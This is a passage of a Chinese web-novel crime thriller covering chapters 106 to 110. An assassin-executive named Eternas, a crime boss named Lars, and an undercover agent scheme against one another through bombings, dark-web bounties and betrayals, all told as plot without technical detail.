“利益互换罢了,埃特纳斯先生难不成还要心疼我的阿爸?” 时清徵摇头:“只是感慨一下罢了,不过阿南小姐付出这么多,想要什么呢?” 阿南眸光一暗,直勾勾地对上时清徵的眼睛:“我要掌权,所以我需要你帮我。” 她目前的处境并不安全,拉尔斯并非全然信任她,甚至近些日子有意疏远,摆明了不准她接近核心。 说不定哪天自己就被舍弃了,她不能当弃子。 “我需要埃特纳斯先生帮我杀了阿努索,还有.....让拉尔斯倒台。” 说完这句话,阿南勾唇笑了,丝毫不掩盖自己浓浓的恨意。 时清徵虽然有些意外,但倒也不在意她的直率。 “让自己阿爸倒台吗?” 时清徵蹙眉思索一阵。 “万一阿南小姐是在算计我怎么办?毕竟十几年的养育之恩,我也很担心被坑害啊。” 阿南微微抬了抬下巴:“是不是算计埃特纳斯先生利用那份资料一探便知,我是真心与您合作的。” “而且,我的阿爸早就想致我以死地,我当然不可能等死,所以这才与您谈合作。” 时清徵若有所思的点头。 嗯,熟悉的戏码。 他自然能看出来阿南最后那句话是在刻意卖惨,在不动声色地博取同情。 “那我的确该好好考虑。” “在我所听的传闻里,埃特纳斯先生可不是那么瞻前顾后之人。”阿南道。 这人是个极简主义。 不是那种极简,而是处理对手的手段。 两个字:弄死。 简单粗暴。 时清徵浅笑:“你也知道那是传闻,毕竟我是个商人,还是要以利益为重,打打杀杀未免太过伤和气。” 阿南:....... 别以为她不知道,这个人今早昨天下午刚炸了拉尔斯的两辆车,现在在这装什么圣父? 尽管心中思绪万千,阿南面上依旧不动声色:“那埃特纳斯先生想如何?” “自然是同意了。” 阿南:......... 变脸这么快? 时清徵目光从一旁的资料上划过,笑容不减:“等我确定这些资料的真实性后自然会送上大礼。” “到时候阿南小姐可别让我失望。” “自然。” 时清徵身体往前,弯腰倒了杯茶,推到阿南面前,又给自己倒了一杯。 然后举起茶杯朝阿南示意:“那就预祝我们合作愉快。” “合作愉快。” ———— 这几天,时清徵忙得脚不沾地,恨不得嘎嘣一下死在岗位上。 为什么他这么有钱还不能休息啊?? 这世界就是一个巨大的剥削阶级!而他就是被剥削者。 Sam带着人在翡翠矿洞那边蹲守了一整晚,要不是资料还在那群人手中,他都想直接把这个矿山给炸了。 砸死那群地鼠! 最后在外面蹲了两天,终于通过高科技定位到了地下人的位置,大概勘测好了底下地形。 然后一抓一个准,虽然有几个漏网之鱼,但资料到手了。 Sam看着被催泪弹逼得眼睛都睁不开的人,啧啧两声。 这就是高科技时代啊。 “都带走。” 他潇洒的挥了一下手,眼圈周围的乌青是用散粉都遮不住的程度,一看就是熬了大夜的。 然后喜滋滋地跑回去找时清徵邀功。 时清徵:“你还挺得意?” Sam:“老大,你真不知道我为了抓这群地鼠有多辛苦,他们恨不得挖洞藏到地核里去。” “我是把三十六计都用上了,打比赛也就这么认真了。” 然后他凑近了一下,指着自己眼底的黑眼圈。 “老大!你看,你看啊!我英俊的脸,从此世界帅哥排行榜上的所有人都要前进一名了。” 时清徵:“颜值排行榜不知道,厚脸皮你倒是可以争一争第一。” Sam:“.......老大,你不能这样伤害我幼小的心灵。” “滚。” Sam一脸沮丧:“那老大......奖金?” 之前时清徵说过,要是把人放跑了就扣他奖金。 真不是他想把人放跑啊,那些矿洞的出口四通八达,这里堵一个,那里又冒出来一个。 找不完,根本找不完啊! 时清徵瞥了他苦哈哈的表情一眼,虽然知道他有其他可能是装的,但还是大发慈悲道:“嗯,照常。” “老大万岁,就知道你最好了。” Sam说完这句话就喜滋滋的离开了。 反而是时清徵听到“老大万岁”时愣了下神。 当时取代号的时候还真没想到这一点。 这时候,原本已经跑出去的Sam又从门框边露出半个脑袋来。 嘴巴张得很大,但声音却很轻。 “啊,万岁!” 他眉眼张扬,做了个鬼表情,然后趁时清徵没开口的功夫就溜之大吉了。 Sam是东南区为数不多知道时清徵两个身份的人。 这还是因为他之前和时清徵一起执行过任务。 当时知道这人不仅是埃特纳斯,还是万岁时下巴都快掉下来了。 有权有势就算了,还特么是顶级杀手。 同样都是人,凭什么他那么牛逼?? 当时他就感慨了一句:“老大,你这身份妥妥的霸道总裁啊,到时候再给你配一个马甲媳妇,你们俩就是互扒马甲的爽文人生!” 时清徵当场给他翻了个白眼。 Sam立马嚷嚷:“别翻白眼啊,这样就没B格了。” 当天下午,盟洲研究所的专机便已降落在东南群岛,运载着新一代抑制剂和随行的核心研究员。 时清徵并没有耽搁,当天就抽空去了趟岛上的合作医疗中心。 他先是做了基础的身体检测,都是熟悉的流程。 屏幕上出现数据流,研究所派来的医护人员仔细看着屏幕上的数据,浏览报告。 第106章 他的时小徵有秘密 医护人员调阅着实时传回的生命体征报告,语气严谨: “基于您上次发作周期的详细记录,发作间隔有明显的缩短以及症状强度加剧,我们已经对抑制剂配方进行了强化。” 他将一份电子数据板推向时清徵,上面清晰地罗列着调整参数。 “这款迭代药剂正是为解决此恶化趋势而设计。注射后,请务必严格禁酒至少一周,这是维持药剂稳定性的关键。” “请您放心,药剂的安全性和稳定性已通过最高级别的验证。您只需按规程操作即可。” 时清徵微微颔首:“那就现在注射药剂吧。” 治疗过程比他想象的更顺利,研究所的人不愧是他花大价钱聘请的。 药剂注射后并没有明显副作用,只是稍微有些困倦。 医护人员表示这是正常现象,睡一觉就好。 所以对于小部分人来说,只要有钱,没有治不好的病。 如果有,那就是花的钱还不够。 当晚就时清徵回了酒店,结果就对上四个保镖委屈的眼神。 时清徵:...... 这几天忙死了,把这四个给忘了。 保镖队长走了过来:“时少,我们会将这里的事一五一十回禀给顾先生。” 时清徵:“.......” “其实我.......”时清徵想找个借口,可他现在有点困,一时半会儿还真想不出来。 于是说了三个字就那么顿住了。 保镖队长也看出来时清徵这是编不下去了,板着一张脸严肃道:“这是我们的工作。” 时清徵:“........” 木着一张脸走回房间。 大力关门是他最后的倔强。 时清徵整个人瘫在床上,抬起胳膊挡在眼前,视线瞬间暗了下来。 然后就是铺天盖地的困倦。 时清徵翻了个身,把自己给翻到床上,打了个很慢的哈欠。 他没把那些保镖的话放在心上。 自己这几天根本没空去理会他们,就让人在酒店待着,有自己的人看着,这群人就算有怀疑也发现不了什么。 而且自己的确是每天都去医院,只是医院不让那些保镖进啊,他有什么办法? 时清徵经过一番头脑风暴,把自己摘地干干净净。 那些保镖不是没想过跟着时清徵,只是实在跟不上啊。 他们二十四小时轮番值班,时清徵就能找到第二十五小时摸出去。 然后他们眨一下眼睛,人就没影儿了。 追到医院,那群保安还不让进,大道理扯一堆,这规定那规定。 艹,谁定的破规定?这不是针对人吗? 时清徵又打了个呵欠,眼睛都快闭上了。 睡着前下意识拿起手机,点开了跟顾鸣鹤的聊天框。 顾鸣鹤自从他来东南群岛第二天以后,就没有给他发过信息。 今早他探了保镖队长的口风,发现这人也联系不上顾鸣鹤。 顾鸣鹤不会是这么快就把他给忘了吧? 脑海中冒出这么一个荒诞的念头,然后又压了下去。 时清徵搁下手机,顺手把一旁的被子揽到怀里,睡着时连灯都没有关。 ———— 另一边的顾鸣鹤坐在一块高处的石头上,不远处就是一个村庄。 此时夜深人静,村庄里几乎看不到一点光亮。 毕竟穷,连路灯都没有通。 顾鸣鹤执行任务时自然不可能随意联系别人,是为了任务保密,也是因为规定。 地面的光越少,光污染越弱,天上的星子就显得密密麻麻。 这种浩瀚在京城是看不见的。 京城的光不把大半个天空照亮已经算好的了,那繁华就差把月亮也盖住。 夜深人静,人的心也不由地平静,一些美好就冒了出来。 顾鸣鹤又不免想到时清徵来。 也不知道时小徵睡了没有,应当是睡了吧,他的作息一向规律,除了偶尔懒床。 一想到时清徵,顾鸣鹤的唇角就不由地勾起,哪怕是见不到,想想也会让人愉悦。 真的喜欢一个人是藏不住的,它会恨不得写在你的脸上,但凡有点心都看得出来。 而顾鸣鹤也没必要藏,又不是搞暗恋。 时小徵说治病,也不知道治到了什么程度。 先前时清徵昏迷的那段时间,医生其实查出来点儿什么。 脑内神经受损,像是被长期药物损坏的,难治。 他的时小徵有秘密。 这也是他愿意让时清徵回东南群岛治疗的原因之一。 他说能治好,顾鸣鹤就相信他说的。 哪怕治不好,顾鸣鹤也会给他兜底。 时清徵所表现出来的行为有些与资料上查到的并不相符,有些在资料上甚至没有记载过。 他的身手,还有他的这个病。 这些都很蹊跷,但凡顾鸣鹤在刚认识时清徵的时候发现这些一定会深查。 再不济也会对时清徵加以防范。 但偏偏是等他动心后这些才引起了他的注意。 而这时的他早已不能无所顾忌,对于时清徵的事反而束手束脚起来。 顾鸣鹤当然不可能指望时清徵会一五一十全都把真相告诉他。 就像顾鸣鹤不会把第七局这个身份告诉时清徵一样。 大家都是成年人了,不管是对谁都不可能毫无保留。 这不是因为不爱,而是因为各种外界因素,很难说得清楚。 爱是距离,可以是负距离,也可以是无距离,更可以是保持距离。 顾鸣鹤觉得自己好像有点恋爱脑那味儿了,不过他并不觉得这是什么坏事。 有些事想的太复杂,考虑的太多反而弊大于利。 爱一个人,你还去跟他勾心斗角吗? 真诚才是必杀技,恋爱脑是男人最好的嫁妆啊! 顾鸣鹤先前网上的那些心理鸡汤没白看,他觉得自己现在已经能当恋爱导师了。 啧啧。 时小徵不得被他给迷死? “顾队。” 就在顾鸣鹤思绪满天飞的时候,后面忽然走过来了一个人。 顾鸣鹤回头看了一眼,是三队的队员。 “什么事?”顾鸣鹤收起思绪,站起身。 “我们队长找你。” “好,我知道了。” 顾鸣鹤找到宋燕回时他正在看电脑上的一份资料,皱着眉,似乎在犯难。 “大半夜的你找我有什么事?” 宋燕回没有说话,只是让出位置,把电脑屏幕展示了出来,示意顾鸣鹤看上面的内容。 顾鸣鹤看了一眼前面的几行:“线人那边传来的资料?” “对,刚发过来的。” 宋燕回依旧惜字如金,也没多解释什么。 顾鸣鹤看完上面的资料,眉头微锁。 “埃特纳斯?” 第107章 埃特纳斯,狠人啊 他看着资料上的介绍,猜测道:“FK在东南区的总负责人?” 宋燕回显然也是对这人格外感兴趣,难得接话道:“情报无误的话,是的。” 顾鸣鹤摸了摸下巴,思索片刻。 “这个人跟拉尔斯有仇?” “积怨颇深。” 宋燕回纠正道,语气加重。 “积怨颇深?”顾鸣鹤眉峰一挑,“那他炸了拉尔斯的车?这么直接?” 宋燕回一时间似乎也难以找到更贴切的词,沉默良久才来了句:“......近乎肆无忌惮。” “肆无忌惮?”顾鸣鹤眼中闪过一丝奇异的光,点头认同。 “那他确实有这份肆无忌惮的资本。” 毕竟不是谁都能炸拉尔斯的车的,而他不仅炸了,拉尔斯甚至没有在第一时间做出报复举动。 然后顾鸣鹤将资料从头到尾又快速看了一遍,眉头微皱:“就这些?关于那个人的?” 情报的主要内容还是拉尔斯手下的势力牵扯,比第七局之前查到的更深入,详尽数倍。 可见那个线人在拉尔斯手下不仅隐藏已久,而且位置绝对是在核心。 有了这份资料,他们在完成任务和收集证据时就会事半功倍。 然而,有关那个埃特纳斯的消息却少得可怜,近乎空白。 仅仅提供了一个名字,以及他最近的一些让人瞠目结舌的“杰作”。 宋燕回的声音带着凝重:“我们的线人也是费尽心力才接近了他,此人行踪成谜,活动轨迹被严密保密。 在FK内部,除了绝对核心圈,几乎无人知晓其真面目,外界更是不知道他的存在。” 顾鸣鹤的任务几乎都是在国内,对东南群岛这边的势力框架知之甚少,所以他还真是第一次清晰地听说这个名字。 听着宋燕回的介绍,顾鸣鹤若有所思地点头:“埃特纳斯,有长寿之意?听起来像个深居简出的老古董?” 宋燕回果断摇头:“根据线人的描述,他......异常年轻,很可能只有二十几岁,甚至还要更小。” “二十几岁?”顾鸣鹤瞳孔微缩,迅速在脑中整合信息。 “你说他仅仅是东南区负责人?有没有可能.......他本身就是FK那四个核心高层之一?” FK的核心高层有四个,其中在明面上管事的叫诺亚·施密斯,任FK集团的CEO,另外三位则身份成谜,从来没露过面。 宋燕回目光沉静地看向顾鸣鹤:“线报层级不足以确认,但......这种可能性极高。此人,绝不一般。” 顾鸣鹤:“这不是废话?” 一般人怎么可能在这里立足。 “我们的计划和他有关?”顾鸣鹤很快反应过来。 宋燕回:“没错。” 顾鸣鹤很快想到了资料中提到FK与拉尔斯的恩怨。 “我们的线人已经跟FK集团接触了,有望谈成合作。” 据说这个线人是一个高级特工,很多年前就隐藏身份来到此地,卧底多年,只有局长知道对方的真实身份。 而这个线人在此次行动中也是第一次与行动组进行对接。 “线人的意思?利用FK这把刀去捅拉尔斯?” 顾鸣鹤的声音中带着一丝审慎。 宋燕回:“对。” “是个思路,但太冒险了。” “可这是最快,也是最直接的办法,再拖下去,形势只会对我们更不利。” 宋燕回语气坚决。 顾鸣鹤正了正神色,目光直视宋燕回: “那你有没有想过,FK根本不可能把到手的拉尔斯交给我们? 而且,你怎么能确定,除掉了拉尔斯,埃特纳斯不会成为下一个,甚至更棘手的拉尔斯?” 他顿了顿,语气严肃,“此计无异于与虎谋皮。尤其在这东南群岛,拉尔斯根基深厚,我们反而处处受制,被动得很。” 宋燕回点头承认道:“但是拉尔斯太谨慎了,我们短时间内根本摸不到他真正的住处,想要抓住他,难如登天。” 顾鸣鹤沉默,这确实是事实。 拉尔斯明面上的房产就多达十几处,每处都有车辆频繁进出,真真假假,根本无法判断他的确切行踪。 更有传言称他谨慎到每日更换住所,行踪之诡秘,恐怕连最亲近的心腹副手,甚至亲生儿子都难以实时掌握。 拉尔斯集团在A国犯下的罪行罄竹难书,是必须铲除的毒瘤。 更重要的是,只有活捉他,才能撬开他的嘴,揪出深藏的保护伞,彻底斩断那些盘根错节的犯罪网络。 他们在东南群岛行动越久,A国内部的保护伞就越可能察觉异常,届时想要彻底肃清内鬼,只会难上加难。 宋燕回眼神一凛:“所以,让FK去给拉尔斯点一把大火,把他从那些龟壳里逼出来,这样我们才好行动。” 顾鸣鹤没有否定这个策略,他缓缓开口,声音冷静而清晰: “火,确实要烧。但目的是把蛇逼出洞,而不是烧光整片林子。” 他目光沉了沉,强调道:“避免引火上身,我们必须留好后手。一旦拉尔斯被逼现身,抓捕的主导权必须牢牢掌控在我们手中,绝不能让FK从中搅局。” 宋燕回对此深表认同,点了点头。 顾鸣鹤转而问道:“线人那边的撤离行动.......” 宋燕回确认道:“已经安排妥当了,到时候,我们会合后一起撤离。” ———— FK东南区基地。 “是,他们往西边码头去了,看样子是想乘船脱身。” 时清徵冷嗤一声:“想得倒美。不必留活口,直接处理掉。” 这几人是从翡翠矿洞逃出来的,全是幽灵组织的人。如今相关资料已经到手,他们身上再没什么值得利用的价值了。 “是。” 汇报的人应下,刚要转身退下,却被时清徵忽然叫住:“等一下。” 他抬眼问道:“那几个人,是不是还挂着通缉?” “是。”对方答得肯定。 这类走暗路的人,身上多半背着命案,被通缉本就寻常。 时清徵沉默片刻,摆了摆手:“算了,你们不用去了,我另派人手。” 第108章 这特么也太掉价了 他可没忘自己先前答应昏鸦的事,三个月内把排名重新刷回到榜前五。 眼瞅着这个月都过去大半了,榜上自己的名字后面,那串数字还纹丝不动,扎眼得很。 唉,早知道当初就不画饼了。 这债,终究还是得自己扛。 手指在屏幕上一划,时清徵轻门熟路地登上了暗网界面,顺手就把那几个人的悬赏单子给接了。 巧的是,发悬赏令的落款赫然就是青鸟。 赚自己人的钱? 时清徵嘴角勾了勾,心里就仨字:爽歪歪。 只是点开悬赏令时,他眉梢还是几不可察地挑了一下。 没想到这几个黑潮的杂鱼,积分和赏金还挺可观。 黑潮公司的......嗯,有点实力,但不多,他漫不经心地下了结论。 这群人,大白天是没胆子大摇大摆坐船离开的,唯一的可能,只有趁着夜色偷渡。 引擎声撕开了渐浓的暮色,一道黑影疾驰在路上。 时清徵跨坐在摩托上,上身穿着深灰色的T恤。 外面随便套了一件薄款的工装夹克,拉链只是象征性的拉在胸部以下的位置。 下身是同色系的工装长裤,裤腿被扎进了战术靴中。 抵达西港口时,天已彻底沉入墨蓝,咸清的海风裹挟着点很淡的寒意扑面而来。 西港口并不是什么大港,并没有什么巨型货轮,只有小型的轮船。 其中一艘轮船静静停靠在泊位上。 根据实时情报,那几个人如今就在这艘小型轮船上。 码头灯光昏黄,勉强照亮下方忙碌的身影,正上上下下指挥搬运着集装箱。 除了风声,就是吊机的运作声,在空旷的夜里格外刺耳。 他熄了火,摩托滑进一堆废弃集装箱的阴影里。 身影一晃便如融入夜色,轻松绕过了那些工作人员。 货轮舷梯的阴影成了他最好的掩护,几个错步,人已悄无声息地上了船。 十分钟后。 依旧是那辆黑色的摩托从阴影中驶出。 时清徵姿态悠闲地驶离了的西港口。 夜风拂过发梢,他停在了路边,单手扶着车把,另一只手掏出手机。 指尖轻点,登录暗网,干净利落地在后台递交了任务。 搞定。 此时的风已经比白天凉很多了。 这个地方的天气就是这样,又闷又热,难受得紧。 但穿太少又不免被蚊子盯上,这儿地的蚊虫可毒的厉害。 就在他收起手机准备离开这块儿地方的时候,一声爆炸的巨响从西港口那边传来。 时清徵回头,没看见火光,但很快就有阵阵浓烟从那个方向升起。 他离西港口没有特别远,心底对这炸药有了大概的评估。 C4,军用级当量。 跟他当初炸幽灵组织的军工厂用的是同一种。 有眼光,这玩意好用。 时清徵心中默默夸赞了一句。 码头的警告声隔了将近半分钟才响起,隐隐绰绰的,虽然听不太清,但能感受到它很凄厉了。 时清徵收回了目光,没有多管闲事。 算了,反正他们FK在那里也没有货,反倒是拉尔斯。 先前的他的那批“白货”被时清徵找官方施压扣在了码头,拉尔斯今早就把那批白货运到了这儿。 好像就在放西港口那边的货仓里。 啧啧,果然是遭报应了。 不过如果刚才被炸的真的是拉尔斯的那批白货,岂不是会造成二次危害? 但时清徵可不关心这么多,他伸手把被风吹乱的发丝往后捋了下,然后骑车离开了。 关他屁事。 时清徵离开后不久,另一股势力正从西港口混乱核心撤离。 几辆越野车驶离被浓烟笼罩的区域,沿预定僻静路线驶向港口外围。 车内很静,FK行动小队成员正检查装备,并汇报通讯。 顾鸣鹤坐在领头车后座,侧脸望着爆炸中心点,火光在他脸上投下阴影,眸子更深沉。 他们炸的不是拉尔斯存放在仓库的“白货”,而是西港口地底拉尔斯经营多年的秘密转运据点。 此刻,这据点已经在物理层面上被彻底抹除了。 “目标确认清除。” 副驾驶的行动队长通过加密频道报告:“预定爆点均有效触发,地下结构完全塌陷。无我方伤亡。” 顾鸣鹤嘴角微动,他收回目光:“好。” 越野车提速,穿过港口外围,快速驶离后面的一片混乱。 ———— 时清徵回到酒店,正准备去洗澡,结果江南月就几通消息发了过来。 【青鸟:艹,你吃窝边草?你怎么这么不要脸?】 【青鸟:早知道接任务的是你,我就把赏金调低一点了。】 【青鸟:连我的钱你都黑啊,你怎么这么穷?】 时清徵:“.......” 【万岁:主要是为了刷积分,你还差这么点钱?】 【万岁:做人不能太抠,我都帮你把你二叔送监狱了,都没让你给我磕一个。】 【青鸟:我特么谢谢你,谢谢你全家,真心的。微笑jpg.】 【万岁:不客气。】 江南月的二叔江晓崖本来就跟顾砚川有勾结,根本经不起上面细查。 顾砚川进去后,江晓崖自然也逃不过。 上面一查,就发现江晓崖名下资产的不对劲,甚至有做假账的情况,于是江晓崖也跟着顾砚川一起进去了。 可谓是拔出萝卜带出泥,恶人有恶报啊。 说不定两人现在还是室友,他们一定有很多话想对对方讲吧。 【青鸟:说你胖你还喘上了。】 【青鸟:得了,不跟你贫。有正事。】 【青鸟:你在暗网挂的悬赏单子,被人揭了。】 时清徵这几天忙得脚不沾地,暗网后台长啥样都快忘了。 【万岁:哪位勇士?】 【青鸟:北岛。】 【青鸟:就现在杀手榜目前第一的那位。】 【青鸟:啧,前榜一 VS 现榜一,这戏码,我瓜子都准备好了。】 【万岁:让他来。】 【万岁:正好,省得我去刷任务,积分自己送上门。】 【青鸟:......操,你是真不怕风大闪了舌头,当心阴沟翻船。】 【万岁:翻不了。】 【万岁:他就一个人,单枪匹马。】 【万岁:我这儿?一整个基地,火箭炮阵列欢迎他。轰成渣都行。】 【青鸟:.........】 【青鸟:大哥,咱能有点顶级杀手的逼格吗?!炮轰???这特么也太掉价了!!!】 第109章 该! 不过这份意外转瞬即逝, 仔细想想,这也在情理之中。 毕竟暗网上挂在他名字后面的那串悬赏数字,可是实打实且亮瞎眼的十位数。 这价码....... 时清徵舔了舔后槽牙。 啧,要不是悬赏下的代号是自己,就冲这个价格,他指定也得勤快一回,去把那倒霉蛋给干了。 这活儿,这价儿,太值了。 可惜了,自杀这业务,再高的价码他也不接。 说起来,他“万岁”这名号能在暗网上挂出这种惊世骇俗的身价,幽灵组织绝对功不可没。 堪称头号“金主”。 自从他顺手给幽灵组织找了几次“大麻烦”之后,那些人就彻底跟他杠上了。 “万岁”在暗网悬赏榜上的价码,也跟坐了火箭似的,一路狂飙突进,把同等级甚至更高等级的杀手们甩得连尾气都吃不上。 那差距,不是几倍,是几十倍的天堑。 为啥? 无他,时清徵之前干的事儿,实在是太招恨了。 幽灵组织起初还试图装聋作哑,本着“退一步海阔天空”的江湖哲学,想着忍一时风平浪静,不想招惹这个煞星。 结果呢? 时清徵这人,字典里就没有“见好就收”这个词。 你退一步?他得寸进尺。 你忍一时?他步步紧逼。 他干的那些事儿,一件比一件捅心窝子。 不是端了人家至关重要的中转站,就是劫了人家视若性命的机密货。 不是把人家核心骨干送进了国际刑警的审讯室,就是把人家精心布局多年的计划搅得稀巴烂...... 那架势,哪里是找麻烦?分明是要把幽灵组织这口大黑锅连锅带灶给彻底挑翻天的节奏。 泥人还有三分土性呢,何况是幽灵组织这种庞然大物。 他们也终于看出万岁不是不小心针对他们,纯粹是故意的。 被逼到墙角颜面尽失而且损失惨重的幽灵组织终于炸毛了。 一纸最高级别的通缉令砸向了暗网。 然后,事情就陷入了某种诡异的循环: 时清徵闲来无事又去弄幽灵组织一次,手段之刁钻,效果之惨烈,总能刷新组织高层的血压上限。 幽灵组织高层气得七窍生烟,在暴跳如雷的咆哮声中,只有一个发泄途径。 加钱!疯狂地给万岁的悬赏令后面添零。 如此反复,恶性循环。 结果,就硬生生堆砌成了如今这个暗网上的一笔天价悬赏金。 时清徵走到落地窗前,却没有把遮光帘拉上,而是转身坐到一旁的小沙发里。 他所居住的这个酒店在整片建筑群中位置也算得上是偏高,所以能轻而易举的看到下方的霓虹和更远处的点点灯火。 这里的繁荣并不输那些发达地区的城市,只是也就这里一圈繁华而已。 再外面........ 沙发的侧后方空调正吹着冷气,正好对着时清徵的方向。 他的头发被吹得微微往前倒,发丝擦碰着他的脸颊,有些痒。 这几日时清徵并没有收到过顾鸣鹤的消息,没有一点儿动静。 时清徵没问,也不会主动问。 就像之前顾鸣鹤查他身份的时候所露出的蛛丝马迹一样。 时清徵也能看出来顾鸣鹤并不简单,至于怎么个不简单法,他不关心,也不想知道。 他不至于因此就夜不能寐,辗转难眠,然后费尽心力去查顾鸣鹤的深浅。 因为他自己又简单到哪里去呢? 或许就是因为这种心照不宣,才在两人之间达成了奇妙的平衡。 心里揣着秘密的人,往往会对另外一个同样身怀秘密的人所表现出来的异样起忽视态度。 这不是因为漠然,也不是因为不关心,而是因为出于保护,是自我保护,也是对对方的保护。 时清徵看着手机屏幕上那熟悉的黑猫,最终还是没有点开。 次日,阳光透过百叶窗打在地面上,出现一条条的光纹。 时清徵真是烦透了上班的苦逼生活,他感觉这几天熬夜加点下来精气神都不足了,每天早上靠着咖啡吊命。 尤其是还得跟官方那边来回扯皮,一群老狐狸,一肚子坏水,打起太极那是得心应手。 问句话那是一问三不知,坑起人来那是一坑一个不吱声。 “官方那边现在是什么态度,还是不肯松口?” 站在桌子对面汇报的属下沉声谨慎地回复道:“是的,总署那边的意思是希望我们各退一步,顾全大局。” “而且...... ”那人抬头看了时清徵一眼。 “而且督办的意思很明确,他希望我们能先松口,别揪着DM赌扬不放,那边已经被强制关停好几天了。” “前两天拉尔斯亲自去了趟总署见了总署督办,就是为了让DM重新开门营业,查尔斯那边损失不小,这两天一直在折腾。” 时清徵冷笑一声:“问起打马虎眼谁能比得过他?” “松口?可以,先让拉尔斯把我们的东西吐出来,到那时再跟我谈大局,再跟我谈松口。” 时清徵的手指扣在桌面上,面容有些冰冷。 恰在此时,一旁处于待机的电脑忽然响起了信息传送来的声音。 时清徵的目光从下属身上挪开,点开文件。 是一份工作汇报,文件内容简洁明了。 看完这份汇总后,时清徵反而笑了下,指尖轻轻在桌面上敲动一下。 转而看着安静等待的下属:“行,既然我们这位总署督办这么喜欢拖,那就陪他好好过一阵,看谁耗得过谁。” “另外盯紧拉尔斯的动作,他不会闲着的。” 下属:“明白了。” 电脑屏幕上接收到的文件,正是他派出的精锐小队传回的报告。 他们依据阿南提供的情报,进行了精准的试探性打击。 结果毋庸置疑,阿南的情报千真万确。 在对方猝不及防的状态下,时清徵的人精准捣毁了拉尔斯设在东南群岛的好几个关键据点,切断了他们在东南群岛的几条重要运输线。 这一次突袭,拉尔斯付出的代价堪称惨重。 拉尔斯倒大霉,时清徵的心情就格外舒畅。 老东西,被自己人背刺的滋味如何? 该! 第110章 阿努索 电子档案页上,一个个文字来书写她的过往。 十二年前,从A国某处贫困山区被人口贩卖裹挟至此。 几经辗转,她最终像一件商品般被摆上了拉尔斯集团的货架。 拉尔斯那时恰好“大发慈悲”,在这一批的几十个孩童中,挑选了几个“幸运儿”收为义子义女。 阿南,便是其中之一。 这段经历被冠以“慈善义举”的名头,至今都记录在案。 单从这纸面记录来看,时清徵找不出一丝破绽。 履历清晰,逻辑似乎也说得通。 一个被拐卖,又被“恩人”收养的女孩。 那么,她为何如此决绝地想要拉尔斯的命? 档案里没有答案。 或许真如她轻描淡写所言,只是想换个活法,挣脱这泥沼般的命运? 仅此而已吗? 时清徵自然是不全信的。 他的指尖在桌面上轻轻叩着,心底的疑虑滋长。 一个能在拉尔斯身边潜伏多年且能接触到核心情报的人,其背叛的动机怎么会这么单纯? 当拉尔斯是傻的吗? 若是阿南有什么异常,她绝对不能在拉尔斯手下活到现在。 与她同批的那些被收养的孩子都死绝了,剩下的她一个又是什么简单角色? 仅仅是借他的手除掉拉尔斯和他的儿子,让自己除掉她的竞争对手? 难道阿南不懂引狼入室的道理? 要是FK出手,拉尔斯集团绝对会受到重创,甚至覆灭,到时候阿南又讨得到什么好下扬。 只可惜,档案的线索到此就戛然而止了,让时清徵的疑惑暂时无法解答。 更深入的资料,尤其是涉及A国部分的根底,远非时清徵所能轻易触及。 那需要动用更隐秘的渠道,承担更大的风险。 他微微眯起眼,权衡片刻,便将这探究的念头按下。 为一个尚不明底细的“盟友”,去捅A国情报的马蜂窝?这笔交易,风险和收益不成正比。 他不爱做亏本的买卖。 阿南的动机可以存疑,但只要她的情报能持续带来价值,这个人暂时就还有用。 至于她心底翻涌的究竟是何种念头,他暂时并无兴趣深潜。 马脚是慢慢露出来的。 时清徵既然收下了阿南的好处,自然也要回馈相应的“诚意”。 当晚,拉尔斯的第六子阿努索便被人生生打断双腿双手,如同垃圾般被丢弃在拉尔斯的一处别墅大门外。 轮值的保镖发现时,阿努索已然奄奄一息,仅存一息。 “巧”的是,那晚拉尔斯本人,恰恰就住在这栋别墅里。 拉尔斯目睹爱子惨状,当扬暴怒如狂,厉声下令彻查凶手。 然而,反馈回来的消息却极其有限。 阿努索当晚在某高级酒吧里醉酒,随后在意识不清时被人带走。 没有监控,没有目击者,没有留下任何指向性的证据。 可....... 那个酒吧,正是FK名下的产业。 拉尔斯目眦欲裂,胸膛剧烈起伏,似乎下一秒就要撅过去了。 他强压着翻腾的怒火,声音从牙缝里挤出来:“谁!是谁带他去的那个会所?!” 底下众人噤若寒蝉,无人敢应。 最终,还是阿努索身边一个心腹,颤巍巍地开口:“是.....是有人给六少发了消息......说,说.......” 后面的话,那人哆嗦着,实在不敢说出口。 拉尔斯没耐心听他结巴,手中的拐杖猛地一跺地面,发出沉闷的巨响。 “说!” 那人吓得一哆嗦,咽了口唾沫,才用细如蚊呐,几乎听不清的声音继续道:“说是,可以.......可以给六少提供帮助......帮六少掌控......掌控集团。” 最后几个字轻飘飘落下,几乎听不清,跟每个人却都应该很清楚。 拉尔斯听罢,竟气笑了出来,笑声冰冷僵硬,眼中是化不开的阴鸷。 偌大的房间陷入死一般的沉寂,气氛凝滞得令人窒息。 所有人深深埋着头,耳边只剩下拉尔斯沉重的呼吸,以及他那根拐杖,一步一步,敲击在地板上的声音。 “笃,笃,笃——” 那声音缓慢,沉重,由远及近,敲在地上,又敲在每个人的心上。 “那份信息呢?” 拉尔斯的声音冷得像冰。 “删,删了,六少看过之后,就......就删掉了......” 心腹的声音带着哭腔。 众人心知肚明,阿努索这次,怕是真真正正触到了拉尔斯最不能碰的那根逆鳞。 拉尔斯纵横一生,最忌讳,最恐惧的是什么?就是手下人的夺权。 无论亲疏,但凡敢有异心,敢有小动作的,他都会毫不留情地亲自送其上路。 “蠢货啊!蠢货!!” 拉尔斯用拐杖狠狠戳着地面,步履沉重地走到噤声的众人身后。 他抬起头,目光复杂地望向悬挂在后墙上的一张大幅照片。 照片里是一男一女。拉尔斯和他早已逝去的妻子。 “蠢货!咳咳咳——!!” 巨大的愤怒和失望让他一口气没喘上来,剧烈地咳嗽起来。 粗重的喘息在死寂的房间里格外清晰,无人敢上前询问或搀扶。 他独自一人,缓了好一阵,才平复了呼吸,目光依旧死死盯着照片中的妻子,半晌,才从牙缝里挤出两个字: “废物。” 但凡阿努索有他一半的能力,他都不至于不把集团交手给他。 可惜他这蠢笨木讷的模样像极了他的母亲。 是没有主张,随便就能被人摆弄的蠢货。 他看着照片上的女子,眼中情绪翻涌。 “你给我生的好儿子啊。” 无人敢应声。 屋内明明站满了人,此刻却仿佛只剩下拉尔斯一个活物。 拉尔斯用脚指头想也能猜到是谁下的手。 除了FK的那位埃特纳斯,还有谁有这般手段和胆量,又能做得如此干净利落且不留痕迹? 是他大意轻敌了。 就在这时,医院的紧急通知传来。 阿努索已脱离生命危险。但双腿双手的伤势过重,永久性瘫痪已成定局,再无治愈可能。 